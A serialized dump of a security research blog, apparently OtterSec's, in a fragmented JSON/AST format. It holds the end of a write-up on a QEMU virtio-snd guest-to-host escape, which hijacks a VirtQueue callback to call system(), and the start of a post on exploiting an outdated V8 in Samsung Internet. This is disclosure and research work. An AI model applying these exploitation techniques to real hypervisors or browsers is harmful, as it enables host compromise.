,"line":22216},[129570,129574,129578,129582,129586,129590,129594,129598,129602,129606,129610,129614,129618],{"type":23,"tag":141,"props":129571,"children":129572},{"style":154},[129573],{"type":29,"value":122572},{"type":23,"tag":141,"props":129575,"children":129576},{"style":160},[129577],{"type":29,"value":1377},{"type":23,"tag":141,"props":129579,"children":129580},{"style":184},[129581],{"type":29,"value":122581},{"type":23,"tag":141,"props":129583,"children":129584},{"style":154},[129585],{"type":29,"value":192},{"type":23,"tag":141,"props":129587,"children":129588},{"style":750},[129589],{"type":29,"value":50543},{"type":23,"tag":141,"props":129591,"children":129592},{"style":154},[129593],{"type":29,"value":12435},{"type":23,"tag":141,"props":129595,"children":129596},{"style":750},[129597],{"type":29,"value":122598},{"type":23,"tag":141,"props":129599,"children":129600},{"style":154},[129601],{"type":29,"value":480},{"type":23,"tag":141,"props":129603,"children":129604},{"style":750},[129605],{"type":29,"value":50543},{"type":23,"tag":141,"props":129607,"children":129608},{"style":154},[129609],{"type":29,"value":12435},{"type":23,"tag":141,"props":129611,"children":129612},{"style":750},[129613],{"type":29,"value":122615},{"type":23,"tag":141,"props":129615,"children":129616},{"style":154},[129617],{"type":29,"value":1748},{"type":23,"tag":141,"props":129619,"children":129620},{"style":160},[129621],{"type":29,"value":49340},{"type":23,"tag":141,"props":129623,"children":129624},{"class":143,"line":22224},[129625,129629],{"type":23,"tag":141,"props":129626,"children":129627},{"style":449},[129628],{"type":29,"value":122631},{"type":23,"tag":141,"props":129630,"children":129631},{"style":154},[129632],{"type":29,"value":129633},"(virtio_snd_pcm_status);\n",{"type":23,"tag":141,"props":129635,"children":129636},{"class":143,"line":22232},[129637,129641,129645,129649,129653,129657,129661,129665,129670],{"type":23,"tag":141,"props":129638,"children":129639},{"style":154},[129640],{"type":29,"value":122649},{"type":23,"tag":141,"props":129642,"children":129643},{"style":160},[129644],{"type":29,"value":1377},{"type":23,"tag":141,"props":129646,"children":129647},{"style":184},[129648],{"type":29,"value":122658},{"type":23,"tag":141,"props":129650,"children":129651},{"style":154},[129652],{"type":29,"value":192},{"type":23,"tag":141,"props":129654,"children":129655},{"style":449},[129656],{"type":29,"value":53807},{"type":23,"tag":141,"props":129658,"children":129659},{"style":154},[129660],{"type":29,"value":122671},{"type":23,"tag":141,"props":129662,"children":129663},{"style":160},[129664],{"type":29,"value":3058},{"type":23,"tag":141,"props":129666,"children":129667},{"style":154},[129668],{"type":29,"value":129669}," size);",{"type":23,"tag":141,"props":129671,"children":129672},{"style":443},[129673],{"type":29,"value":129674}," // [1]\n",{"type":23,"tag":141,"props":129676,"children":129677},{"class":143,"line":22241},[129678,129682,129686,129690,129694],{"type":23,"tag":141,"props":129679,"children":129680},{"style":750},[129681],{"type":29,"value":122688},{"type":23,"tag":141,"props":129683,"children":129684},{"style":154},[129685],{"type":29,"value":12435},{"type":23,"tag":141,"props":129687,"children":129688},{"style":750},[129689],{"type":29,"value":50543},{"type":23,"tag":141,"props":129691,"children":129692},{"style":160},[129693],{"type":29,"value":1674},{"type":23,"tag":141,"props":129695,"children":129696},{"style":154},[129697],{"type":29,"value":122705},{"type":23,"tag":141,"props":129699,"children":129700},{"class":143,"line":22283},[129701,129705,129709,129713,129717,129722],{"type":23,"tag":141,"props":129702,"children":129703},{"style":750},[129704],{"type":29,"value":122688},{"type":23,"tag":141,"props":129706,"children":129707},{"style":154},[129708],{"type":29,"value":12435},{"type":23,"tag":141,"props":129710,"children":129711},{"style":750},[129712],{"type":29,"value":122357},{"type":23,"tag":141,"props":129714,"children":129715},{"style":160},[129716],{"type":29,"value":1674},{"type":23,"tag":141,"props":129718,"children":129719},{"style":154},[129720],{"type":29,"value":129721}," vq;",{"type":23,"tag":141,"props":129723,"children":129724},{"style":443},[129725],{"type":29,"value":129726}," // [2]\n",{"type":23,"tag":141,"props":129728,"children":129729},{"class":143,"line":22316},[129730,129734,129738,129742,129746,129750],{"type":23,"tag":141,"props":129731,"children":129732},{"style":750},[129733],{"type":29,"value":122688},{"type":23,"tag":141,"props":129735,"children":129736},{"style":154},[129737],{"type":29,"value":12435},{"type":23,"tag":141,"props":129739,"children":129740},{"style":750},[129741],{"type":29,"value":122745},{"type":23,"tag":141,"props":129743,"children":129744},{"style":160},[129745],{"type":29,"value":1674},{"type":23,"tag":141,"props":129747,"children":129748},{"style":472},[129749],{"type":29,"value":1707},{"type":23,"tag":141,"props":129751,"children":129752},{"style":154},[129753],{"type":29,"value":1684},{"type":23,"tag":141,"props":129755,"children":129756},{"class":143,"line":22324},[129757,129761,129765,129769,129773,129777],{"type":23,"tag":141,"props":129758,"children":129759},{"style":750},[129760],{"type":29,"value":122688},{"type":23,"tag":141,"props":129762,"children":129763},{"style":154},[129764],{"type":29,"value":12435},{"type":23,"tag":141,"props":129766,"children":129767},{"style":750},[129768],{"type":29,"value":12579},{"type":23,"tag":141,"props":129770,"children":129771},{"style":160},[129772],{"type":29,"value":1674},{"type":23,"tag":141,"props":129774,"children":129775},{"style":472},[129776],{"type":29,"value":1707},{"type":23,"tag":141,"props":129778,"children":129779},{"style":154},[129780],{"type":29,"value":1684},{"type":23,"tag":141,"props":129782,"children":129783},{"class":143,"line":22332},[129784,129788,129792,129796,129800,129804,129808],{"type":23,"tag":141,"props":129785,"children":129786},{"style":184},[129787],{"type":29,"value":122792},{"type":23,"tag":141,"props":129789,"children":129790},{"style":154},[129791],{"type":29,"value":192},{"type":23,"tag":141,"props":129793,"children":129794},{"style":160},[129795],{"type":29,"value":1770},{"type":23,"tag":141,"props":129797,"children":129798},{"style":750},[129799],{"type":29,"value":34732},{"type":23,"tag":141,"props":129801,"children":129802},{"style":154},[129803],{"type":29,"value":12435},{"type":23,"tag":141,"props":129805,"children":129806},{"style":750},[129807],{"type":29,"value":122813},{"type":23,"tag":141,"props":129809,"children":129810},{"style":154},[129811],{"type":29,"value":129812},", buffer, entry);\n",{"type":23,"tag":141,"props":129814,"children":129815},{"class":143,"line":22341},[129816],{"type":23,"tag":141,"props":129817,"children":129818},{"style":154},[129819],{"type":29,"value":2008},{"type":23,"tag":32,"props":129821,"children":129822},{},[129823,129824,129829,129831,129836,129838,129843,129845,129851],{"type":29,"value":122867},{"type":23,"tag":38,"props":129825,"children":129827},{"className":129826},[],[129828],{"type":29,"value":122873},{"type":29,"value":129830},", QEMU allocates a ",{"type":23,"tag":38,"props":129832,"children":129834},{"className":129833},[],[129835],{"type":29,"value":123010},{"type":29,"value":129837}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":38,"props":129839,"children":129841},{"className":129840},[],[129842],{"type":29,"value":122908},{"type":29,"value":129844}," it stores the ",{"type":23,"tag":38,"props":129846,"children":129848},{"className":129847},[],[129849],{"type":29,"value":129850},"VirtQueue *vq",{"type":29,"value":129852}," pointer into the buffer.",{"type":23,"tag":32,"props":129854,"children":129855},{},[129856,129857,129863],{"type":29,"value":62698},{"type":23,"tag":38,"props":129858,"children":129860},{"className":129859},[],[129861],{"type":29,"value":129862},"VirtQueue",{"type":29,"value":129864}," structure contains some useful fields:",{"type":23,"tag":131,"props":129866,"children":129868},{"code":129867,"language":1807,"meta":7,"className":15191,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[129869],{"type":23,"tag":38,"props":129870,"children":129871},{"__ignoreMap":7},[129872,129884,129891,129898,129905,129913,129930,129937,129944],{"type":23,"tag":141,"props":129873,"children":129874},{"class":143,"line":144},[129875,129879],{"type":23,"tag":141,"props":129876,"children":129877},{"style":449},[129878],{"type":29,"value":8079},{"type":23,"tag":141,"props":129880,"children":129881},{"style":154},[129882],{"type":29,"value":129883}," VirtQueue\n",{"type":23,"tag":141,"props":129885,"children":129886},{"class":143,"line":180},[129887],{"type":23,"tag":141,"props":129888,"children":129889},{"style":154},[129890],{"type":29,"value":766},{"type":23,"tag":141,"props":129892,"children":129893},{"class":143,"line":205},[129894],{"type":23,"tag":141,"props":129895,"children":129896},{"style":154},[129897],{"type":29,"value":103286},{"type":23,"tag":141,"props":129899,"children":129900},{"class":143,"line":218},[129901],{"type":23,"tag":141,"props":129902,"children":129903},{"emptyLinePlaceholder":15},[129904],{"type":29,"value":719},{"type":23,"tag":141,"props":129906,"children":129907},{"class":143,"line":227},[129908],{"type":23,"tag":141,"props":129909,"children":129910},{"style":154},[129911],{"type":29,"value":129912}," VirtIOHandleOutput handle_output;\n",{"type":23,"tag":141,"props":129914,"children":129915},{"class":143,"line":241},[129916,129921,129925],{"type":23,"tag":141,"props":129917,"children":129918},{"style":154},[129919],{"type":29,"value":129920}," VirtIODevice ",{"type":23,"tag":141,"props":129922,"children":129923},{"style":160},[129924],{"type":29,"value":197},{"type":23,"tag":141,"props":129926,"children":129927},{"style":154},[129928],{"type":29,"value":129929},"vdev;\n",{"type":23,"tag":141,"props":129931,"children":129932},{"class":143,"line":262},[129933],{"type":23,"tag":141,"props":129934,"children":129935},{"emptyLinePlaceholder":15},[129936],{"type":29,"value":719},{"type":23,"tag":141,"props":129938,"children":129939},{"class":143,"line":271},[129940],{"type":23,"tag":141,"props":129941,"children":129942},{"style":154},[129943],{"type":29,"value":103286},{"type":23,"tag":141,"props":129945,"children":129946},{"class":143,"line":293},[129947],{"type":23,"tag":141,"props":129948,"children":129949},{"style":154},[129950],{"type":29,"value":1357},{"type":23,"tag":32,"props":129952,"children":129953},{},[129954,129955,129961,129963,129969],{"type":29,"value":388},{"type":23,"tag":38,"props":129956,"children":129958},{"className":129957},[],[129959],{"type":29,"value":129960},".handle_output",{"type":29,"value":129962}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":38,"props":129964,"children":129966},{"className":129965},[],[129967],{"type":29,"value":129968},".vdev",{"type":29,"value":129970}," is the pointer passed to it as the first argument:",{"type":23,"tag":131,"props":129972,"children":129974},{"code":129973,"language":1807,"meta":7,"className":15191,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[129975],{"type":23,"tag":38,"props":129976,"children":129977},{"__ignoreMap":7},[129978,130011,130018,130073,130110,130117,130124,130131,130152,130159,130166,130173],{"type":23,"tag":141,"props":129979,"children":129980},{"class":143,"line":144},[129981,129985,129989,129994,129999,130003,130007],{"type":23,"tag":141,"props":129982,"children":129983},{"style":449},[129984],{"type":29,"value":49523},{"type":23,"tag":141,"props":129986,"children":129987},{"style":449},[129988],{"type":29,"value":49528},{"type":23,"tag":141,"props":129990,"children":129991},{"style":184},[129992],{"type":29,"value":129993}," virtio_queue_notify_vq",{"type":23,"tag":141,"props":129995,"children":129996},{"style":154},[129997],{"type":29,"value":129998},"(VirtQueue ",{"type":23,"tag":141,"props":130000,"children":130001},{"style":160},[130002],{"type":29,"value":197},{"type":23,"tag":141,"props":130004,"children":130005},{"style":750},[130006],{"type":29,"value":122357},{"type":23,"tag":141,"props":130008,"children":130009},{"style":154},[130010],{"type":29,"value":758},{"type":23,"tag":141,"props":130012,"children":130013},{"class":143,"line":180},[130014],{"type":23,"tag":141,"props":130015,"children":130016},{"style":154},[130017],{"type":29,"value":766},{"type":23,"tag":141,"props":130019,"children":130020},{"class":143,"line":205},[130021,130025,130029,130033,130037,130042,130046,130051,130055,130060,130064,130069],{"type":23,"tag":141,"props":130022,"children":130023},{"style":148},[130024],{"type":29,"value":151},{"type":23,"tag":141,"props":130026,"children":130027},{"style":154},[130028],{"type":29,"value":1220},{"type":23,"tag":141,"props":130030,"children":130031},{"style":750},[130032],{"type":29,"value":122357},{"type":23,"tag":141,"props":130034,"children":130035},{"style":154},[130036],{"type":29,"value":12435},{"type":23,"tag":141,"props":130038,"children":130039},{"style":750},[130040],{"type":29,"value":130041},"vring",{"type":23,"tag":141,"props":130043,"children":130044},{"style":154},[130045],{"type":29,"value":322},{"type":23,"tag":141,"props":130047,"children":130048},{"style":750},[130049],{"type":29,"value":130050},"desc",{"type":23,"tag":141,"props":130052,"children":130053},{"style":160},[130054],{"type":29,"value":1253},{"type":23,"tag":141,"props":130056,"children":130057},{"style":750},[130058],{"type":29,"value":130059}," vq",{"type":23,"tag":141,"props":130061,"children":130062},{"style":154},[130063],{"type":29,"value":12435},{"type":23,"tag":141,"props":130065,"children":130066},{"style":750},[130067],{"type":29,"value":130068},"handle_output",{"type":23,"tag":141,"props":130070,"children":130071},{"style":154},[130072],{"type":29,"value":13480},{"type":23,"tag":141,"props":130074,"children":130075},{"class":143,"line":218},[130076,130081,130085,130090,130094,130098,130102,130106],{"type":23,"tag":141,"props":130077,"children":130078},{"style":154},[130079],{"type":29,"value":130080}," VirtIODevice ",{"type":23,"tag":141,"props":130082,"children":130083},{"style":160},[130084],{"type":29,"value":197},{"type":23,"tag":141,"props":130086,"children":130087},{"style":154},[130088],{"type":29,"value":130089},"vdev ",{"type":23,"tag":141,"props":130091,"children":130092},{"style":160},[130093],{"type":29,"value":1377},{"type":23,"tag":141,"props":130095,"children":130096},{"style":750},[130097],{"type":29,"value":130059},{"type":23,"tag":141,"props":130099,"children":130100},{"style":154},[130101],{"type":29,"value":12435},{"type":23,"tag":141,"props":130103,"children":130104},{"style":750},[130105],{"type":29,"value":122343},{"type":23,"tag":141,"props":130107,"children":130108},{"style":154},[130109],{"type":29,"value":1684},{"type":23,"tag":141,"props":130111,"children":130112},{"class":143,"line":227},[130113],{"type":23,"tag":141,"props":130114,"children":130115},{"emptyLinePlaceholder":15},[130116],{"type":29,"value":719},{"type":23,"tag":141,"props":130118,"children":130119},{"class":143,"line":241},[130120],{"type":23,"tag":141,"props":130121,"children":130122},{"style":154},[130123],{"type":29,"value":122524},{"type":23,"tag":141,"props":130125,"children":130126},{"class":143,"line":262},[130127],{"type":23,"tag":141,"props":130128,"children":130129},{"emptyLinePlaceholder":15},[130130],{"type":29,"value":719},{"type":23,"tag":141,"props":130132,"children":130133},{"class":143,"line":271},[130134,130139,130143,130147],{"type":23,"tag":141,"props":130135,"children":130136},{"style":750},[130137],{"type":29,"value":130138}," vq",{"type":23,"tag":141,"props":130140,"children":130141},{"style":154},[130142],{"type":29,"value":12435},{"type":23,"tag":141,"props":130144,"children":130145},{"style":184},[130146],{"type":29,"value":130068},{"type":23,"tag":141,"props":130148,"children":130149},{"style":154},[130150],{"type":29,"value":130151},"(vdev, vq);\n",{"type":23,"tag":141,"props":130153,"children":130154},{"class":143,"line":293},[130155],{"type":23,"tag":141,"props":130156,"children":130157},{"emptyLinePlaceholder":15},[130158],{"type":29,"value":719},{"type":23,"tag":141,"props":130160,"children":130161},{"class":143,"line":801},[130162],{"type":23,"tag":141,"props":130163,"children":130164},{"style":154},[130165],{"type":29,"value":122524},{"type":23,"tag":141,"props":130167,"children":130168},{"class":143,"line":810},[130169],{"type":23,"tag":141,"props":130170,"children":130171},{"style":154},[130172],{"type":29,"value":299},{"type":23,"tag":141,"props":130174,"children":130175},{"class":143,"line":824},[130176],{"type":23,"tag":141,"props":130177,"children":130178},{"style":154},[130179],{"type":29,"value":2573},{"type":23,"tag":32,"props":130181,"children":130182},{},[130183,130185,130190,130192,130197,130199,130205,130207,130212,130213,130218,130220,130225],{"type":29,"value":130184},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":38,"props":130186,"children":130188},{"className":130187},[],[130189],{"type":29,"value":123010},{"type":29,"value":130191}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":38,"props":130193,"children":130195},{"className":130194},[],[130196],{"type":29,"value":122598},{"type":29,"value":130198}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":38,"props":130200,"children":130202},{"className":130201},[],[130203],{"type":29,"value":130204},".vq",{"type":29,"value":130206}," pointer, then follow that pointer to leak ",{"type":23,"tag":38,"props":130208,"children":130210},{"className":130209},[],[130211],{"type":29,"value":129960},{"type":29,"value":14729},{"type":23,"tag":38,"props":130214,"children":130216},{"className":130215},[],[130217],{"type":29,"value":129862},{"type":29,"value":130219}," structure. In our case, that field points to ",{"type":23,"tag":38,"props":130221,"children":130223},{"className":130222},[],[130224],{"type":29,"value":122250},{"type":29,"value":130226},", which gives us QEMU's base address.",{"type":23,"tag":32,"props":130228,"children":130229},{},[130230,130232,130238],{"type":29,"value":130231},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":38,"props":130233,"children":130235},{"className":130234},[],[130236],{"type":29,"value":130237},"system",{"type":29,"value":322},{"type":23,"tag":8287,"props":130240,"children":130242},{"id":130241},"rip-control",[130243],{"type":29,"value":130244},"RIP Control",{"type":23,"tag":32,"props":130246,"children":130247},{},[130248,130250,130255,130257,130263],{"type":29,"value":130249},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":38,"props":130251,"children":130253},{"className":130252},[],[130254],{"type":29,"value":130237},{"type":29,"value":130256},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":38,"props":130258,"children":130260},{"className":130259},[],[130261],{"type":29,"value":130262},"VirtQueue.handle_output",{"type":29,"value":322},{"type":23,"tag":32,"props":130265,"children":130266},{},[130267,130269,130274,130276,130281,130283,130288],{"type":29,"value":130268},"We overwrite ",{"type":23,"tag":38,"props":130270,"children":130272},{"className":130271},[],[130273],{"type":29,"value":129960},{"type":29,"value":130275}," with the address of ",{"type":23,"tag":38,"props":130277,"children":130279},{"className":130278},[],[130280],{"type":29,"value":130237},{"type":29,"value":130282}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":23,"tag":38,"props":130284,"children":130286},{"className":130285},[],[130287],{"type":29,"value":129968},{"type":29,"value":130289}," with the address of that command string, so it is passed as the first argument.",{"type":23,"tag":32,"props":130291,"children":130292},{},[130293,130295,130301,130303,130309,130311,130317],{"type":29,"value":130294},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":23,"tag":38,"props":130296,"children":130298},{"className":130297},[],[130299],{"type":29,"value":130300},"virtio_queue_notify_vq",{"type":29,"value":130302},", which calls ",{"type":23,"tag":38,"props":130304,"children":130306},{"className":130305},[],[130307],{"type":29,"value":130308},"vq->handle_output(vq->vdev)",{"type":29,"value":130310}," - or, after our overwrites, ",{"type":23,"tag":38,"props":130312,"children":130314},{"className":130313},[],[130315],{"type":29,"value":130316},"system(command)",{"type":29,"value":322},{"type":23,"tag":32,"props":130319,"children":130320},{},[130321,130323,130329,130331],{"type":29,"value":130322},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":23,"tag":38,"props":130324,"children":130326},{"className":130325},[],[130327],{"type":29,"value":130328},"gnome-calculator",{"type":29,"value":130330}," on the host system:\n",{"type":23,"tag":29436,"props":130332,"children":130333},{},[],{"type":23,"tag":130335,"props":130336,"children":130345},"tweet-card",{"author-name":130337,"date":130338,"duration":130339,"handle":130340,"media-mime-type":130341,"media-src":130342,"media-type":130343,"tweet-url":130344},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[130346,130351,130356],{"type":23,"tag":32,"props":130347,"children":130348},{},[130349],{"type":29,"value":130350},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":23,"tag":32,"props":130352,"children":130353},{},[130354],{"type":29,"value":130355},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":23,"tag":32,"props":130357,"children":130358},{},[130359],{"type":29,"value":130360},"Writeup coming next week.",{"type":23,"tag":29436,"props":130362,"children":130363},{},[],{"type":23,"tag":32,"props":130365,"children":130366},{},[130367,130369,130375,130377,130383],{"type":29,"value":130368},"The final exploit, targeting QEMU commit ",{"type":23,"tag":38,"props":130370,"children":130372},{"className":130371},[],[130373],{"type":29,"value":130374},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":29,"value":130376}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":23,"tag":55,"props":130378,"children":130381},{"href":130379,"rel":130380},"https://github.com/otter-sec/qemu-escape",[59],[130382],{"type":29,"value":46062},{"type":29,"value":322},{"type":23,"tag":32,"props":130385,"children":130386},{},[130387,130389,130396],{"type":29,"value":130388},"Special thanks to ",{"type":23,"tag":55,"props":130390,"children":130393},{"href":130391,"rel":130392},"https://www.willsroot.io/",[59],[130394],{"type":29,"value":130395},"William Liu",{"type":29,"value":130397}," for proofreading this post and helping us polish it before publication.",{"type":23,"tag":24,"props":130399,"children":130400},{"id":27618},[130401],{"type":29,"value":17618},{"type":23,"tag":32,"props":130403,"children":130404},{},[130405],{"type":29,"value":130406},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":23,"tag":32,"props":130408,"children":130409},{},[130410],{"type":29,"value":130411},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":23,"tag":1508,"props":130413,"children":130414},{},[130415],{"type":29,"value":1512},{"title":7,"searchDepth":180,"depth":180,"links":130417},[130418,130421,130424,130433],{"id":122146,"depth":180,"text":122159,"children":130419},[130420],{"id":122167,"depth":205,"text":122170},{"id":122191,"depth":180,"text":122194,"children":130422},[130423],{"id":122205,"depth":205,"text":122205},{"id":98593,"depth":180,"text":98596,"children":130425},[130426,130427,130428,130429,130430,130431,130432],{"id":124797,"depth":205,"text":124800},{"id":126324,"depth":205,"text":126327},{"id":127118,"depth":205,"text":127121},{"id":127523,"depth":205,"text":127526},{"id":127739,"depth":205,"text":127742},{"id":127945,"depth":205,"text":127948},{"id":130241,"depth":205,"text":130244},{"id":27618,"depth":180,"text":17618},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":130438,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":130439,"description":130440,"date":130441,"author":130442,"image":130445,"isFeatured":15,"onBlogPage":15,"tags":130447,"body":130450,"_type":1522,"_id":140358,"_source":1524,"_file":140359,"_stem":140360,"_extension":1527},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[122142,130443,130444],"jamie","william",{"src":130446,"width":95753,"height":13},"/posts/mobile-renderer-rce/title.png",[130448,130449],"RCE","mobile",{"type":20,"children":130451,"toc":140338},[130452,130456,130461,130475,130481,130495,130516,130524,130537,130545,130558,130564,130577,130591,130597,130611,130714,130719,130727,130732,130737,130758,130836,130844,130863,130876,130882,130888,130902,131018,131023,131028,131036,131041,131049,131077,131106,131118,131294,131299,131307,131326,131339,131345,131365,131379,131384,131389,131417,131453,131522,131528,131550,131555,131563,131576,131581,131589,131594,131633,131639,131652,131657,131835,131845,131853,131873,131897,131910,131916,131921,132563,132568,132576,132618,134607,134612,134620,134626,134659,134677,134847,134905,134930,135024,135029,135820,135825,135833,135844,137888,137893,137901,137907,137929,137943,137956,137968,137998,138003,138444,138472,138579,138596,138753,138758,138770,139066,139092,139115,139247,139259,139264,139416,139452,139465,139470,139592,139633,139710,139715,140289,140295,140307,140320,140324,140329,140334],{"type":23,"tag":24,"props":130453,"children":130454},{"id":26},[130455],{"type":29,"value":30},{"type":23,"tag":32,"props":130457,"children":130458},{},[130459],{"type":29,"value":130460},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it entirely.",{"type":23,"tag":32,"props":130462,"children":130463},{},[130464,130466,130473],{"type":29,"value":130465},"One such example is V8, a JavaScript engine used ubiquitously in Chromium and Node.js-based software. In collaboration with the ",{"type":23,"tag":55,"props":130467,"children":130470},{"href":130468,"rel":130469},"https://cor.team",[59],[130471],{"type":29,"value":130472},"Crusaders of Rust",{"type":29,"value":130474}," Security Research Group, we decided to analyze the version of V8 in Samsung Internet (the default browser on Samsung phones) on a Samsung Galaxy S25 in hopes of an n-day exploitation opportunity.",{"type":23,"tag":8287,"props":130476,"children":130478},{"id":130477},"finding-the-v8-version",[130479],{"type":29,"value":130480},"Finding the V8 Version",{"type":23,"tag":32,"props":130482,"children":130483},{},[130484,130486,130493],{"type":29,"value":130485},"We started by pulling Samsung Internet's APK from the device over ",{"type":23,"tag":55,"props":130487,"children":130490},{"href":130488,"rel":130489},"https://developer.android.com/tools/adb",[59],[130491],{"type":29,"value":130492},"adb",{"type":29,"value":130494}," and inspecting the libraries it shipped with.",{"type":23,"tag":32,"props":130496,"children":130497},{},[130498,130500,130506,130508,130514],{"type":29,"value":130499},"After extracting the APK, we searched the ",{"type":23,"tag":38,"props":130501,"children":130503},{"className":130502},[],[130504],{"type":29,"value":130505},"lib/",{"type":29,"value":130507}," directory for ",{"type":23,"tag":38,"props":130509,"children":130511},{"className":130510},[],[130512],{"type":29,"value":130513},"v8::*",{"type":29,"value":130515}," symbols:",{"type":23,"tag":131,"props":130517,"children":130519},{"code":130518},"$ grep -r 'v8::' lib/\ngrep: lib/arm64-v8a/libterrace.so: binary file matches\n",[130520],{"type":23,"tag":38,"props":130521,"children":130522},{"__ignoreMap":7},[130523],{"type":29,"value":130518},{"type":23,"tag":32,"props":130525,"children":130526},{},[130527,130529,130535],{"type":29,"value":130528},"Only one file matched our search: ",{"type":23,"tag":38,"props":130530,"children":130532},{"className":130531},[],[130533],{"type":29,"value":130534},"libterrace.so",{"type":29,"value":130536},". We then loaded it into a decompiler to inspect it more closely, which is where we found the bundled V8 version:",{"type":23,"tag":32,"props":130538,"children":130539},{},[130540],{"type":23,"tag":2591,"props":130541,"children":130544},{"alt":130542,"src":130543},"image1","/posts/mobile-renderer-rce/image1.png",[],{"type":23,"tag":32,"props":130546,"children":130547},{},[130548,130550,130556],{"type":29,"value":130549},"Surprisingly, this ",{"type":23,"tag":38,"props":130551,"children":130553},{"className":130552},[],[130554],{"type":29,"value":130555},"13.6.233.10",{"type":29,"value":130557}," version was already six months old at the time, with multiple publicly known bugs affecting it.",{"type":23,"tag":8287,"props":130559,"children":130561},{"id":130560},"choosing-the-bug",[130562],{"type":29,"value":130563},"Choosing the Bug",{"type":23,"tag":32,"props":130565,"children":130566},{},[130567,130569,130575],{"type":29,"value":130568},"We were able to trigger a couple of bugs on our locally compiled ",{"type":23,"tag":38,"props":130570,"children":130572},{"className":130571},[],[130573],{"type":29,"value":130574},"d8",{"type":29,"value":130576}," matching the target version. One of them was CVE-2025-5419 - a store-store elimination bug that we managed to get working on the device. However, exploitation required heap spraying, which would present significant stability issues when porting to the phone.",{"type":23,"tag":32,"props":130578,"children":130579},{},[130580,130582,130589],{"type":29,"value":130581},"Another one was ",{"type":23,"tag":55,"props":130583,"children":130586},{"href":130584,"rel":130585},"https://issuetracker.google.com/issues/443875388",[59],[130587],{"type":29,"value":130588},"CVE-2025-10891",{"type":29,"value":130590}," - a bug in the Ignition bytecode interpreter. This one was attractive as bytecode is treated as trusted under the V8 sandbox model, meaning that a separate Übercage bypass would not be required. Given this, we decided to explore this bug further.",{"type":23,"tag":24,"props":130592,"children":130594},{"id":130593},"ignition-bytecode-introduction",[130595],{"type":29,"value":130596},"Ignition Bytecode Introduction",{"type":23,"tag":32,"props":130598,"children":130599},{},[130600,130602,130609],{"type":29,"value":130601},"V8 initially compiles all JS code to a bytecode format with the ",{"type":23,"tag":55,"props":130603,"children":130606},{"href":130604,"rel":130605},"https://v8.dev/blog/ignition-interpreter",[59],[130607],{"type":29,"value":130608},"Ignition",{"type":29,"value":130610}," interpreter.\nThis is a simple register-based VM with fixed size opcodes (and prefix bytes to increase operand width). For instance:",{"type":23,"tag":131,"props":130612,"children":130614},{"code":130613,"language":29833,"meta":7,"className":29831,"style":7},"let a = 1;\nlet b = 0x0fff;\nlet c = 0x0fffffff;\nlet d = 0xffffffff;\n",[130615],{"type":23,"tag":38,"props":130616,"children":130617},{"__ignoreMap":7},[130618,130641,130665,130689],{"type":23,"tag":141,"props":130619,"children":130620},{"class":143,"line":144},[130621,130625,130629,130633,130637],{"type":23,"tag":141,"props":130622,"children":130623},{"style":449},[130624],{"type":29,"value":10467},{"type":23,"tag":141,"props":130626,"children":130627},{"style":750},[130628],{"type":29,"value":88321},{"type":23,"tag":141,"props":130630,"children":130631},{"style":160},[130632],{"type":29,"value":1674},{"type":23,"tag":141,"props":130634,"children":130635},{"style":472},[130636],{"type":29,"value":3198},{"type":23,"tag":141,"props":130638,"children":130639},{"style":154},[130640],{"type":29,"value":1684},{"type":23,"tag":141,"props":130642,"children":130643},{"class":143,"line":180},[130644,130648,130652,130656,130661],{"type":23,"tag":141,"props":130645,"children":130646},{"style":449},[130647],{"type":29,"value":10467},{"type":23,"tag":141,"props":130649,"children":130650},{"style":750},[130651],{"type":29,"value":89195},{"type":23,"tag":141,"props":130653,"children":130654},{"style":160},[130655],{"type":29,"value":1674},{"type":23,"tag":141,"props":130657,"children":130658},{"style":472},[130659],{"type":29,"value":130660}," 